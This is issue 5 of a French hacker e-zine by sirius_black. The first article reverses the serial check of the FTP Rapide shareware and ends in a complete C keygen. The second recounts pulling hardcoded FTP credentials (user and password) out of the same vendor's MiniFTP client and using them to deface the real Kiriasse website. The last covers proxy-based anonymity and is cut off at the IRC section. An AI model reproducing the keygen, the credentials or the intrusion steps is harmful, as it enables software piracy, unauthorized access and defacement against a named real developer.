Land Of The Free #05
par sirius_black

Sommaire
Introduction
   Et ça y est, c'est reparti pour un tour, quand yen a plus yen a rencor !!! Voilà fraichement débarqué LOTFREE Numéro 5. Mine de rien le mag a bien évolué et j'me marre lorsque je regarde les 2 premiers numéros. Tout à vraiment commencé à partir du 3 au niveau du contenu mais aussi du style...
   5 numéros c'est autant que le RTC Mag qui est mon mag préféré pour la catégorie "Old School" (on va dire ça comme ça. C'est pourquoi je tiens à leur dédier ce numéro.
   Ce numéro est spécial car plutôt orienté hacking et même plutôt orienté sur la pratique. Intéressant non ? Je vous laisse juger par vous même.
   Comme d'habitude il y a les éternels articles de cracking pour pas vous dépaysager :) mais aussi un tut sur l'anonymat que j'ai fait le plus complet possible.
   Vous avez sûrement remarqué dans le sommaire le "Hack The Planet". Bah c'est un prog que j'ai codé pour délirer. De quoi vous faire passer pour le plus grand H4X0R de la planète.
   J'ai reçu encore une fois le soutient de OS4M4CKERS et je le remerci du fond du coeur :)
   Autre chose : les couleurs !! En effet l'interface est plutôt pas mal. Il s'agit d'un feuillet de style que j'ai récupéré sur le site de CASPAM (un site Anti-Spam & Co).
   Sur ce bonne lecture. sirius_black (nouvelle adresse mail et qui marche !!! ;)
Faire un keygen pour FTP Rapide
Présentation du logiciel
On s'interesse ici à la version 4.4.1006.
FTP Rapide est dévellopé par Jean-Claude Mariotte (jcmariotte@kiriasse.fr), société Kiriasse (www.kiriasse.fr).
J'ai trouvé ce logiciel dans PC Shareware N°4, un mag avec des cds tout pleins de sharewares à cracker (quoique un peu trop de freewares à mon gout :-)).
Ce mag est un peu vieux (novembre 2001) mais on est là pour apprendre ;-)
La présentation qu'ils donnent du logiciel est la suivante :
Ce logiciel client FTP permet de télécharger logiciels et documents depuis un serveur FTP. (nan c vrai ??)
Limité en version non enregistrée à ceux acceptant les accès anonymes (login: anonymous / password: guest), il est extrémement simple à utiliser. S'il en est limité dans ces fonctions, il permet  cependant de suivre les chargements avec des indications de taille, de progression et de vitesse. Mais ses principaux attraits reposent dans la recherche intégrée d'adresse FTP sur http://ftpfind.voila.fr et surtout dans la possibilité de créer des raccourcis avce une ligne de commande intégrant toutes les informations pour charger directement un fichier. Pratique donc pour récupérer régulièrement et d'un double-click des fichiers souvent mis à jours.

Bon pour ce qui est de la communication avec le ftpfind de voila g pas pu tester car g pas de connexion internet perso (comme moi je ne cracke pas pour ma pomme ;-)
A noter aussi que le logiciel possède une petite musique qui tourne en boucle : le canon de Pashenbel (je sais pas si ça s'écrit comme ça), enfin pour les pas culturés (car la cultivation c pour les patates), il s'agit de la musique de fond sur le "Je me souviens" de Ménélik. Cette musique, très agréable au demerant peu devenir très énervante si vous débuggez le logiciel (entendre le meme morceau pendant une heure c saoulant) alors baissez le son si vous le déplombez !!

Le prix de la licence est de 150F Français, ce que personellement je trouve trop cher, enfin faut dire que j'utilise la commande FTP sous dos :-)

Etude du logiciel
Bon on fait comme d'hab, on provoque le logiciel : on le démarre, il nous met "version non enregistré" (ou un truc du style) alors nous on est poli, on clique sur "s'enregistrer", il nous demande un username (g pris niicolas ou sirius_black... selon les essais que g fait) puis ensuite il nous demande le password (le tout dans des InputBox différentes) la j'entre sirius01 ou 666fuckyou...

Apparemment le logiciel n'aime pas : invalid name...
On note sa Jérémiade et on désassemble le prog avec Win32Dasm (version 8.93 chez moi). On clique sur String Data References et là : Horeur !!! Ya que dalle sinon "VB5".
Faut pas démoraliser parce que comme a dit intruder mexelite97 dans son tut "happy vb5 cracking" : "IF VISUAL BASIC THEN CRACKED AT ONCE".
En effet les progs vb étaient de véritables merdes dans les versions 1, 2 et 3 du langage visual basic. Because il suffisait de posséder le Dodi's VB Discompiler et on se retrouvait avec la source du programme... LoL !!! Avec le VB5 ca va être plus dur !!!

Quand g commence a déplombé le prog j'avais pas encore Smartcheck donc j'ai utilisé le VBREF de la team Execution Council. Le principe ? Vous enregistrer la decompilation dans un .alf avec w32dasm puis avec vbref vous générez un .vbr avec le prog et le .alf et vous obtenez à peu près ce que donne w32 mais avec les strings. Mais la navigation est disons... plus archaique avec vbref. Quoique il en soit on trouve les strings qui nous interesse dans vbref :

On clique sur "Le nom d'utilisateur et/ou la clef..." (juste au dessus de Username and/or key are not valid.) Si on clique plusieurs fois on voit que ya qu'une occurence donc c'est cool.
En gros on tombe sur :

Nom d'utilisateur (User name)
:0042C897 mov dword ptr [ebp+FFFFF38], 0040B1F0

Veuillez saisir votre nom d'utilisateur de Ftp Rapide.
:0042C8EA push 0040B11C

MSVBVM60.rtcInputBox, Ord:0254h username en 00471fc8 (adresse dans eax) //première input box (username)
:0042C973 Call dword ptr [004010A4]

MSVBVM60.__vbaStrCmp, Ord:0000h // hehe
:0042C9E4 Call dword ptr [004010EC]

Clef pour (Key for) Ftp Rapide
:0042CA58 mov dword ptr [ebp+FFFFFF38], 0040B314

Veuillez saisir votre clef (mot de passe pour Ftp Rapide).
:0042CAA7 push 0040B230

MSVBVM60.rtcInputBox, Ord:0254h pass en00468d88 //seconde input box (password)
:0042CB30 Call dword ptr [004010A4]

MSVBVM60.__vbaStrCmp, Ord:0000h //hinhin
:0042CBA1 Call dword ptr [004010EC]
test eax, eax
je 0042D0E9 <- celui la ?
:0042CBAF lea ecx, dword ptr [ebp-1C] -> adress password
:0042CBB2 lea edx, dword ptr [ebp-28] -> adresse login
:0042CBB5 push ecx
:0042CBB6 push edx
  ...
:0042CBB7 call 0041FBB0
test ax, ax
jne 0042CE61 <- vers Valid username and key.(tiens c'est celui là)
:0042CBC5 call 0041EE30

:0042CBE5 Bad Boy
Alors comment ca marche ? Ben on debugge le prog avec w32 sur cette zone avec les options sur les apis et on regarde :
Il commence par créer une inputbox qui demande le user name. Une fois rentré, le prog compare avec la chaine vide (vérifie que l'on a tapé kekchose). Puis il fait pareil avec la clé.
Ca devient donc interessant à partir de :0042CBAF. Si on débugge on verra rien du tout dans la fenêtre de documentaion API et pour cause le call 0041FBB0 est une fonction crée le concepteur. En fait cette fonction utilise des variables locales qui sont stockées en ebp-1C et ebp-28. Et comme par hazard ya le username et la key !!
Ca fait un tas de calcul puis après ca regarde si ax vaut zéro. Si c'est le cas les codes ne sont pas bons et on poursuit sinon c'est que c'est bon et on va en 0042CE61.

J'en voient déjà qui disent : ca y est il va mettre un jmp 0042CE61 après la routine. Ben non !! Parce que le prog vérifie les clés (stockées dans la base de registre) au démarrage c'est pour ca qu'il nous affiche que l'on est pas enregistré au départ. Il se peut que ce soit la meme routine utilisé au démarrage et dans les box, dans ce cas il faut faire en sorte qu'elle renvoie toujours 1.
Mais j'ai pas regarde (d'ailleurs faudra que je regarde). Moi je préfère ne pas toucher au prog et faire un keygen. Enfin j'ai quand meme essayé de le reverser pour qu'il crache la clé correspondante au username qu'on lui file. Ca marche la première fois que la fonction est appele mais apres c'est du nimportenawak (la pile n'est pas remise comme il faudrait, et puis le code n'est pas facilement détournable dans notre cas).

En débuggant (toujours sans Smartcheck) on voit qu'il commence par :

__vbaStrCopy(57f18b56,8dec8b55,0,0,0,0,0,0)=004566a4->"RAPIDFTP"// met RAPIDFTP en mémoire et dan eax
API Address=0041FC71, API Return Address=0041FC77

__vbaStrCmp("",004566ec->"sirius01",6602465b,66025324,0,0,0,0)=1 // on vérifie que une clé a été entrée
API Address=0041FC88, API Return Address=0041FC8A

__vbaStrCmp("",00468ae4->"niicolas",6602465b,66025324,0,0,0,0)=1 // on vérifie qu'un username a été entré
API Address=0041FC9D, API Return Address=0041FC9F

__vbaStrCat(00468ae4->"niicolas",004086dc->"KIRIASSE",6602465b,66025324,0,0,0,0)=00468d2c->"KIRIASSEniicolas"
//concaténation
API Address=0041FCB5, API Return Address=0041FCBB

__vbaStrMove(6602465b,66025324,0,0,0,0,0,0)=00468d2c->"KIRIASSEniicolas" et eax //mise en mémoire
API Address=0041FCC6, API Return Address=0041FCC8

rtcRightCharBstr(00468ae4->"niicolas",8,6602465b,66025324,0,0,0,0)=00468d88->"niicolas"
//on prend les 8 derniers car du login (dans mon cas yen a deja 8)
API Address=0041FCCD, API Return Address=0041FCD3

__vbaStrMove(6602465b,66025324,0,0,0,0,0,0)=00468d88->"niicolas" //mise en mémoire
API Address=0041FCD8, API Return Address=0041FCDA

rtcUpperCaseBstr(00468d88->"niicolas",6602465b,66025324,0,0,0,0,0)=00468cb8->"NIICOLAS" //mise en majuscule
API Address=0041FCDB, API Return Address=0041FCE1

__vbaStrMove(6602465b,66025324,0,0,0,0,0,0)=00468cb8->"NIICOLAS" //mise en mémoire
API Address=0041FCE6, API Return Address=0041FCE8

__vbaFreeStr(6602465b,66025324,0,0,0,0,0,0)=20 //libération de l'espace
API Address=0041FCEB, API Return Address=0041FCF1
Ouais je sais j'ai mis un peu trop de détail, j'en met un peu moins maintenant :
           
rtcMidCharBstr(00468cb8->"NIICOLAS",1,0067e2f0,6602465b,66025324,0,0,0)=00468d88->"N"
//on prend le premier caractère a partir du début
API Address=0041FD4B, API Return Address=0041FD51
__vbaStrMove(6602465b,6602465b,66025324,0,0,0,0,0)=00468d88->"N" //mise en mémoire
API Address=0041FD56, API Return Address=0041FD5C
__vbaStrCopy(6602465b,66025324,0,0,0,0,0,0)=00471fec->"N" //mise en mémoire
API Address=0041FD66, API Return Address=0041FD6C

Ca recommence ensuite avec les 7 lettres qui restent de notre login.
Puis il fait la meme chose (mise en memoire de lettres) avec la chaine de caractères "RAPIDFTP".
Une fois cette partie effectuée il prend la première lettre de RAPIDFTP, puis la compare au lettres de l'alphabet mises dans un ordre spécial. Quand il l'a trouvé il s'arrête de comparer et calcule en nombre. Ensuite il passe à la lettre suivante etcetera
Au départ j'avais classé les lettres de cette alphabet spécial en fonction de leur proximité dans la mémoire, j'avais obtenu :

par zone de chaine
1,2,3,4,5,6,7,8,9,0,A,K,U,B,L,V,C,
M,W,
D,N,X,
E,O,Y,F,
P,
Z,G,Q,H,R,I,S,J,T,#,$
ce qui ne m'avait pas vraiment arrangé !! Alors je me suis dit : chaque fois qu'une lettre trouve sa correspondance, le programme en déduit une valeur. Il faut donc que je classe par "conséquence". En effet certaines lettres renvoient le même nombre. J'ai donc fait un regroupement par "jump" suivant les lettres et j'ai obtenu :
par saut
1,2,3,4,5,6,7,8,9,0, -> 00420332
A,K,U, 004202f0 ->"1"
B,L,V, 004202ab
C,M,W, 00420266
D,N,X, 00420221 ->"4"
E,O,Y, 004201dc
F,P,Z, 00420197 ->"6"
G,Q, 00420152
H,R, 0042010d ->"8"
I,S, 004200c8 ->"9"
J, 00420083
T, 004203a8 ->"0"
#,
$
Voilà qui est plus lisible !! Premier problème que l'on remarque dans le programme : un calcul inutile !!! A quoi bon calculer un code à partir d'une chaine qui est toujours la même :(
A moins que... a moins que cette fonction soit utilisé dans d'autres programmes du même développeur et dans ce cas si on arrive à faire un keygen pour FTP Rapide, il suffira de changer la chaine "magique" (RAPIDFTP) par TRUCFTP si on faire un keygen pour TrucFTP !! On verra ca quand j'aurais fini le tut :-)

Reprennons, RAPIDFTP donne en nombres : 81694606.
Voyons ce qu'il fait avec notre name

rtcR8ValFromBstr(471eb4->"8")=10 //toujours pris dans w32dasm puis modifier pour la lecture

rtcAnsiValueBstr(00468de4->"N",,,,,,,)=4e // transformation en ascii de la première lettre

__vbaFpI2(6602465b,66025324,0,0,40538000,4e,0067e2b0,bff6a26e)=56 // 4E + 8 = 56

rtcBstrFromAnsi(56,6602465b,66025324,0,0,40538000,4e,0067e2b0)=00471f68->"V" // valeur de "V" ? 56 evidemment
API Address=004205DA, API Return Address=004205E0
Il fait donc une addition avec toutes les lettres. Mais si on calcule le serial comme ca, ca ne marchera pas... Il fait des calculs en plus. Alors je suis passé sur smartcheck pour la première fois et la vraiment ça vaut le coup !!
Voici quelques images de quoi faire la config de smartcheck (si c'est pas déjà fait).


Au lancement de startcheck je vous conseille d'avoir le bouton avec le carre bleu enfoncé (pas trop de détail). Puis vous loaddez FTP Rapide, vous entrez le username et la clé puis quand il affiche "username and/or key not valid" vous cliquez pas !!! Vous cliquez sur stop dans smartcheck. Ainsi on aura le minimum de code utile. Vous vous retrouvez devant :

Il faut alors développer tous les derniers trucs. On commence par le load. On descent tout en bas, ya un "_Click". On le développe puis on recommence avec AniGIF1_Click (toujours en bas). Ne développez pas la message box après (message d'erreur). Vouz voyez :


On a un peu de mal car Smartcheck met des décimaux et non de l'hexa : "V" vaut 86. On peut se repérer avec les marteaux. "niicolas" donne donc "VJOLSRAY". Mais c'est pas fini. On clique sur la bulle jaune dans le menu de SC et on a les appels API.
On remarque le strcmp final dans cette fonction locale : strcmp("666fuck","VJ$LSRAY");
Ben ça alors !! Notre 'O' se transforme en '$' !! On regarde avec notre 'S' (dernière lettre) : il prend la lettre et l'additionne avec le dernier chiffre (6) ce qui donne 'Y', normal.
Mais après ya un tas de comparaison : avec les chiffres puis avec 'O'. On comprend qu'il traite des cas particuliers. Pour le 'O' voilà ce qu'il se passe.


Pas de calcul, juste parce que c'est un 'O' on le remplace par '$'. L'expérience nous montreras que pour les caratères non lettres capitales, il les remplace par les chiffres du magic code+1.
Si on rentre 01234567 il renvoie 927#4606 (je rapelle que le magic code est 81694606). On note que le 9 est remplacé par '#'.


Récapitulatif :
il prend le nom 'niicolas'
il le met en majuscules 'NIICOLAS'
il fait l'addition avec '81694606'
ce qui nous donne 'VJOLSRAY'
On enleve les 'o' etc 'VJ$LSRAY'
Voilà !!
D'autres exemples : sirius_black donne 9T7KPGCQ
57463201 donne 927#5717
Un petit keygen. Allez on le fait en C :
/* Keygen by sirius_black
+ FTP Rapide v4.4.1006
* Pure 3133t3 c0d3Z
+ F34R m3 !!!
+ Yah !!!
+ Pr0uT !!
+ Sex, Punk & CrackZ
+ Enjoy
*/
#include <stdio.h>
#include <stdlib.h>
void calcul(char *x){
int i;
char *y=x;
for (i=0;i<strlen(x);i++){
if (*y<123 && *y>96)*y=(char)((*y)-32);
y++;
}
}
int is_alpha(char *y){
if (*y>64 && *y<91)return 1;
else return 0;
}
void calcul2(char *x){
char *y=x;
if (is_alpha(y) && (*y)+8<91)*y=(*y)+8;
else *y='9';
y++;
if (is_alpha(y) && (*y)+1<91)*y=(*y)+1;
else *y='2';
y++;
if (is_alpha(y) && (*y)+6<91)*y=(*y)+6;
else *y='7';
y++;
if (is_alpha(y) && (*y)+9<91)*y=(*y)+9;
else *y='#';
y++;
if (is_alpha(y) && (*y)+4<91)*y=(*y)+4;
else *y='5';
y++;
if (is_alpha(y) && (*y)+6<91)*y=(*y)+6;
else *y='7';
y++;
if (!is_alpha(y))*y='1';
y++;
if (is_alpha(y) && (*y)+6<91)*y=(*y)+6;
else *y='7';
}
void fuck_hOokers(char *x){
int i;
char *y=x;
for (i=0;i<8;i++){
if (*y=='O')*y='$';
y++;
}
}
int main()
{
int taille;
char * username;
int i;
username=malloc(16);
printf("Crack de FTP Rapide 4.4.1006\n");
printf("par sirius_black\n");
printf("\nEntrez votre username (pas d\'espaces) : ");
scanf("%s",username);
while(strlen(username)<8){
printf("\nEntrez votre username (au moins 8 caracteres) : ");
scanf("%s",username);
}
calcul(username);
taille=strlen(username)-8;
for(i=0;i<taille;i++)username++;
calcul2(username);
fuck_hOokers(username);
*(username+8)='\0';
printf("Votre serial est :\n%s\n",username);
free(username);
system("PAUSE");
return 0;
}
Le hack de Kiriasse

Voici un exemple de hack très particulier qui je suis sûr va vous plaire. Je vous recommande de lire d'abord l'article précédent car les deux articles appartiennent à une seule et même histoire.

Afin de savoir si les autres logiciels de chez Kiriasse utilisaient des protections similaires, je me suis attaqué à Mini Ftp 4.7 (ya en grande partie du cracking dans l'article mais en fin de compte on hack :). Voici la description donnée par le créateur :

Version de démonstration : cette version de Mini FTP est gratuite et complète. Elle permet à titre d'exemple de télécharger, après saisie d'un mot de passe, les programmes d'installation de tous les logiciels présentés sur le site Kiriasse Logiciels.

Version personnalisée : sur ce modèle, je vous propose de développer pour vous un ou plusieurs MiniFTP personnalisés (adaptés à votre cas personnel) qui permettront à toute personne à qui vous aurez communiqué un mot de passe de télécharger des fichiers de votre choix, placés par vos soins sur un serveur FTP, à une adresse connue de vous seul.

Et il rajoute les infos suivantes :
La version de démonstration permet, à titre d'exemple, de télécharger les fichiers zip contenant les programmes d'installation de mes logiciels et le mot de passe à saisir (qui est incorporé dans un certain fichier F placé sur Internet) est "kiriasse" : pour cette version de démonstration, l'emplacement de ces fichiers sur Internet (et le mot de passe) ne sont donc évidemment un secret pour personne.
Pour imaginer ce que peut être une version personnalisée, il faut donc (en pensée) « faire comme si » l'on ignorait l'emplacement des fichiers à télécharger. La question à se poser est alors : « Peut-on, sans connaître aucun mot de passe, accéder au téléchargement des fichiers ? ». Je prétends que la réponse est NON, pour 99% des personnes qui utilisent un ordinateur. Mais je ne suis pas naïf et je n'ignore pas que mon logiciel (qui ne coûte que 15,24 €) n'assure pas une sécurité absolue : si vous êtes l'un des responsables des Renseignements Généraux ou haut fonctionnaire au ministère de la Défense, je ne vous conseille donc pas, dans l'exercice de vos fonctions, d'utiliser MiniFTP !
A noter aussi que je place, dans les répertoires concernés du serveur FTP, un fichier index.html, ce qui a pour effet d'interdire l'affichage, par un navigateur WEB, de la liste des fichiers contenus dans ces répertoires.

Donc le premier truc que je me suis dit c'est qu'il fallait que je récupère l'emplacement de ce fichier F.
On procède comme d'habitude : lancement du logiciel et recherche de la phrase qui va nous servir de point de repère. Une fois lancé on choisit un fichier à télécharger parmis ceux proposés (j'ai pris kiriasse.hlp). On clique sur télécharger et une boite de dialogue apparait disant : "Veuillez taper votre code d'accès (8 caractères). Pour cette version de démonstration, le code d'accès est le mot "kiriasse" (en lettres minuscules)".

Cette fois on passe direct sous smartcheck (MiniFtp est codé en VB5 aussi). Et on dévellope le dernier "_Click" que l'on peut dévelloper. On tombe tout de suite sur :
InputBox("Veuillez taper..."); qui récupère le code, en l'occurence kiriasse.
Len("kiriasse"); qui renvoie 8 (vérification simple).
Puis après ya un InternetOpenA et un InternetOpenUrlA tous les deux dévellopables. On trouve rien de passionant dans le premier. En revanche le second a pour argument "http://www.kiriasse.fr/zip/kiriasse.kir". Alors la on ferme tout, on étaint son PC et on va se coucher. NON !! Je déconne !!! Hacking rules !!!

On tape l'url dans son navigateur préféré (et plein de bug s'il sagit de Internet Explorer). Et il nous affiche :
azertyui000208
azertyui000208
azertyui000208
azkiriasse0208
azertyui000208
azertyui000208 (j'ai pas tous mis car les azertyui000208 yen a des tas).
Le logiciel fait un tas de truc pour se connecter et le débuggage est pas très passionant. Le prog récupère votre nom de machine (huh?), votre marque de modem, vos préférences internet... Il ne s'agit pas d'une fonction du programmeur mais des API VB qui établissent la connexion.
Au bout d'un loooooong moment, il fait un InternetReadFile.
Je n'ai pas trouvé la routine de vérification mais quoi qu'il en soit on a un "Le code d'accès que vous avez saisi a été reconnu."

Bon qu'est-ce qu'il va faire maintenant que le code est validé ? Logiquement il va se connecter au serveur FTP.
Au bout d'un moment on tombe sur des calculs sur des chaines de caractères. Voici les chaines qui nous intéressent (là encore j'ai du pas mal fouiller) :
220
USER jmariotte
331
PASS xahopowy
230
TYPE I
200
PORT
RETR /web/zip/kiriasse.hlp

Ca m'a tout l'air d'une communication FTP (voir RFC 959). Mais on n'a pas vu quelle était l'adresse du serveur :(
En fait après avoir cherché sans succès au dessus je l'ai trouvé en dessous. Le prog ne faisait que mettre les strings en mémoire.
And now Ladies & Gentlemen the FTP Server is ... ftp.kiriasse.fr

A partir de là j'ai laissé tomber le débugage et je me suis connecté au serveur (n'oubliez pas d'utilisez un serveur SOCKS pour être anonyme). En explorant j'ai fait une grande découverte. Mais j'aurais pu le deviner avant.

Vous vous souvenez l'adresse du fichier F : www.kiriasse.fr/zip/kiriasse.kir ? Ya donc un rep "zip" dans la racine web !
Vous vous souvenez de la commande pour obtenir le fichier kiriasse.hlp ? RETR /web/zip/kiriasse.hlp
C'est marrant dans les deux cas ya un répertoire "zip" dis donc !!
On sait quoi ? On sait que zip est dans la racine web et on sait que au dessus de zip ya le rep "web" accessible par FTP !!! LoL !!!
Ben oui le site web est entièrement accessible par le ftp. Ca permet à l'admin d'uploader ses pages. Perso je considère cela comme une faille de sécurité mais si t'es hébergé par un truc du style Amen.fr (ce qui est le cas) tu peux pas faire autrement.

Quoi qu'il en soit on a le login, le pass, l'adrese du ftp et l'emplacement de la racine web. Comme dirait Bigard ca c'est le meilleur moment. Quand tu l'as devant toi et que t'es près à tirer, parce qu'après tout les grands défaceurs te le diront, c'est juste de l'informatique générale.

Donc je me suis déconnecté histoire de préparer mon défacage. J'ai créé une page web avec une image. Puis j'ai uploadé l'image, la page web et le tutorial sur FTP Rapide sur le serveur FTP dans la racine web. Au final : une belle page web avec un lien vers le tut de FTP Rapide & son keygen se trouvant sur le serveur même de kiriasse (un sacré pied de nez). Et l'image que voici :


Ben ouais le chat d'alice comme d'habitude ;-)
Voici les erreurs commises par le programmeur : coder en VB (c'est clair net et précis), faire un logiciel tel que Mini FTP, et là c'est sans doute le plus gros problème. Car en effet il aura beau crypter la communication etc... On trouvera toujours le moyen d'acceder au serveur FTP. La racine web sur le serveur FTP c'est une erreur aussi.
Franchement si j'avais su, j'aurais utilisé un sniffer je serais allé 100 fois plus vite (au moins ça).
Quels conseils on peut donner au dévellopeur ? Ben arrêter de coder en VB donc. Ensuite avoir son propre serveur ftp et donner aucun droit en écriture à ceux qui se connectent avec le compte jmariotte est la solution la plus efficace. Kiriasse peut alors garder un compte perso qui lui donne tous les droits avec un autre login. Il peut aussi coder son propre serveur FTP qui ne respecterait pas le protocole (en modifiant les commandes par exemple) ainsi il interdit l'accès à travers un client FTP standart. Et ya sans doute un tas d'autres solution.

Et si on relisait les infos qu'il donnait pour rire ?
Version de démonstration : cette version de Mini FTP est gratuite et complète (pour être complète elle l'est). Elle permet à titre d'exemple de télécharger (et d'uploader), après saisie d'un mot de passe (tu parle du mot de passe FTP je pense LoL), les programmes d'installation de tous les logiciels présentés sur le site Kiriasse Logiciels.

Version personnalisée : sur ce modèle, je vous propose de développer pour vous un ou plusieurs MiniFTP personnalisés (adaptés à votre cas personnel) qui permettront à toute personne à qui vous aurez communiqué un mot de passe (tu parles de ceux dans le fichier kiriasse.kir ? Ils peuvent aller les chercher tout seuls !!) de télécharger des fichiers de votre choix, placés par vos soins sur un serveur FTP, à une adresse connue de vous seul (et de sirius_black et ses lecteurs).

La version de démonstration permet, à titre d'exemple, de télécharger les fichiers zip contenant les programmes d'installation de mes logiciels et le mot de passe à saisir (qui est incorporé dans un certain fichier F placé sur Internet) est "kiriasse" : pour cette version de démonstration, l'emplacement de ces fichiers sur Internet (et le mot de passe) ne sont donc évidemment un secret pour personne (mais rien n'est secret coco).
Pour imaginer ce que peut être une version personnalisée (la mienne me suffit et c'est la démo), il faut donc (en pensée) « faire comme si » l'on ignorait l'emplacement des fichiers à télécharger (ça va être difficile de s'en convaincre). La question à se poser est alors : « Peut-on, sans connaître aucun mot de passe, accéder au téléchargement des fichiers ? » Moi !! Monsieur Msieur !! J'connais la réponse Msieur !! C'est Oui !!. Je prétends que la réponse est NON, pour 99% des personnes qui utilisent un ordinateur (putain c'est un coup à se prendre pour un l33t). Mais je ne suis pas naïf et je n'ignore pas que mon logiciel (qui ne coûte que 15,24 €) n'assure pas une sécurité absolue (...): si vous êtes l'un des responsables des Renseignements Généraux ou haut fonctionnaire au ministère de la Défense, je ne vous conseille donc pas, dans l'exercice de vos fonctions, d'utiliser MiniFTP ! (moi si je vous le conseille vivement !!!)
A noter aussi que je place, dans les répertoires concernés du serveur FTP, un fichier index.html, ce qui a pour effet d'interdire l'affichage, par un navigateur WEB, de la liste des fichiers contenus dans ces répertoires (...) : parfois un silence est plus fort que tout.

Tutoriel sur l'anonymat

Voici un tut sur l'anonymat. J'ai essayé de rassemblé le plus d'informations possibles. Anonymat sur le web mais aussi sur IRC, FTP... Enjoy :)

L'anonymat est plus qu'important sur l'internet mais aussi dans la vie de tous les jours. Quand vous allez acheter une baguette de pain vous ne souhaitez pas que le boulanger vous demande votre nom, votre métier, votre adresse, numéro de téléphone... Et le boulanger ne vous les demande pas car il respecte votre vie privée.
Sur Internet c'est moins évident. Tout d'abord parce que l'Internet est très commercial et il n'hésite pas à réaliser toutes sortes de statistiques dans ce but. Et puis aussi par mesure de sécurité : les serveurs gardent des traces de votre passage.

Le web

Alors comment faire pour préserver sa vie privée sur le web ? Regardons d'abord ce qu'un serveur web peut récupérer comme donnée vous concernant :

  • votre adresse IP
  • Votre nom d'ordinateur
  • Votre pays
  • Votre ville
  • Le nom de votre navigateur
  • Le nom de votre système d'exploitation
  • Votre résolution d'écran
  • L'adresse web que vous avez visité auparavant
  • Votre FAI (Fournisseur Accès Internet)
  • Votre adresse email
  • Votre adresse physique
  • La configuration de votre navigateur
  • Les plug-in installé (java, activeX...)
  • Les informations enregistrées dans les cookies
  • et bien plus selon votre configuration personnelle et les vulnérabilités de votre navigateur :)

Ceci est du en grande partie au données envoyées par votre navigateur. Pour vous en convaincre, lancer netcat avec "nc -l -p 8080" et configurer votre navigateur avec le proxy HTTP "127.0.0.1:8080". Personnelement j'obtient :

GET http://127.0.0.1/ HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:0.9.4) Gecko/20011019 Netscape6
Accept: text/xml, application/xml, application xhtml+xml, text/html;q=0.9, image/png, image/jpg, image/gif;q=0.2, text/plain;q=0.8, text/css, */*;q=0.1
Accept-Langage: fr-fr
Accept-Encoding:gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Proxy-Connection: keep-alive

On peut voir ici que j'utilise Netscape 6.0 (Gecko) sous Windows XP version professionnelle (NT 5.1) . Et que je suis francophone de France. Le serveur connait bien évidemment l'adresse IP car votre requête HTTP est encapsulé dans un paquet TCP puis IP.
Dans cet exemple je n'étais pas connecté au web et j'ai demandé une page à mon propre serveur. Mais quand vous êtes sur Internet, l'adresse IP permet de connaître par le biais de DNS votre nom de machine.
Votre ISP vous donne un nom de machine reconnaissable du type 652.154-cable-wanadoo-marseille.fr. Il n'est pas compliqué pour le serveur de voir d'où vous vous connectez :(.
Quand vous êtes sur un réseau scolaire ou d'entreprise et que vous disposez de boites électroniques accessibles par votre navigateur il se peut que ce dernier renvoie aussi votre adresse email. Pour peut que celle ci soit du type votre_nom.votre_prenom@votre_reseau.com, vous perdez toute confidentialité sur Internet.
Mais je vous rassure les machines des réseaux dont je viens de parler sont en général configurés pour passer sur un proxy de ce réseau et celui-ci enlève les données sans valeur pour les requêtes (il n'y a pas besoin de l'adresse mail pour optimiser l'affichage d'une page web).
Quand vous cliquez sur un lien dans une page P, celle ci est enregistré dans le Referer et envoyé lors de la reqête (voir LOTFREE#03).

Pour cacher ces données ya pas 36 solutions : il faut se faire passer pour quelqu'un d'autre. C'est pour cela que l'on utilise des serveurs proxys. Attention tous ne vous cachent pas. Certains s'arragent en effet pour faire savoir que c'est vous qui demandez la page. Pour tester votre proxy je vous conseille la page www.anonymat.org/vostraces. C'est là que je vais à chaque changement de proxy. Il y a des pages plus détaillées avec toutes les données mais celle-ci est rapide et simple à comprendre : il suffit de regarder le nom de machine, si il contient le nom de votre FAI c'est que c'est pas bon. Tous les proxys ne se valent pas. Déjà certains sont payant et il faut un login/password pour se connecter. D'autres n'acceptent que certaines adresses IP. Certains n'ont pas de nom de machines (pas de nom de domaine), certains ne transmettent pas le type de navigateur. Il y a ceux qui ont des noms marrant comme ph34r.my.stealthedip.com ou elite.ownsalldomains.org (en général il filtrent les ips).
Perso mon truc c'est de faire croire que j'utilise un autre FAI que le mien dans un autre pays que le mien. Et bien évidemment il faut qu'il soit rapide. Mon autre truc c'est donc de prendre c'est qui ont soit cable soit adsl dans leur noms. Ca booste considérablement votre connexion surtout pour les sites vraiment distants (sites russes par exemple). En ce moment j'utilise en majorité le proxy adsl de wanadoo belgique. Vous trouverez de tels adresses à theproxyconnection.com.
Au cas où ceux de proxyconnection ne marche pas allez sur www.multiproxy.org. Il donnent une liste qui se raffraichie régulièrement.

Multiproxy est surtout le créateur d'un logiciel du même nom. Ce dernier permet de changer de proxy à des intervalles réguliers (du style toutes les 30 secondes). C'est lui même un petit proxy (qui tourne sur votre machine) qui fait le relai vers d'autres proxies. Il suffit pour l'utiliser de vous connecter sur votre proxy local et il se charge du reste :)

Notez qu'il est possible de "chainer" les proxys en configurant votre navigateur avec l'adresse de proxy "http://proxy1:port1/http://proxy2:port2" mais ceci ralentit considérablement votre connexion.

Un autre outil configurable en profondeur est le Proximitron. Il marche de la même façon que multiproxy. Vous pouvez cacher certaines variables d'environnement, les modifer et même plus ou moins modifier votre adresse IP. En fait en modifiant les champs d'une requête HTTP tel que HTTP_VIA, HTTP_FORWARDED le proximitron fera croire que lui même se sert d'un proxy.

Il y a aussi les cookies qui sont stockés sur votre PC et permettent à un site de savoir si vous êtes déjà passé avant et quand. Le problème c'est que n'importe quel site peut lire ces cookies c'est pour cela qu'il est important que chaque site crypte ses propres cookies. Effacez les à chaque fois que vous vous déconnectez car certains gardent en mémoire vos mot de passe.

Les proxys vous cachent des sites web que vous visitez mais pas de votre FAI. Vous pouvez leur cacher vos données par le biais d'un tunnel. Un tunnel c'est une liaison cryptée entre vous et votre proxy. L'avantage c'est que ça peut marcher avec d'autres protocoles tels que FTP, Telnet...

IRC

Je ne connait pas grand chose niveau IRC mais je vais faire de mon mieux.

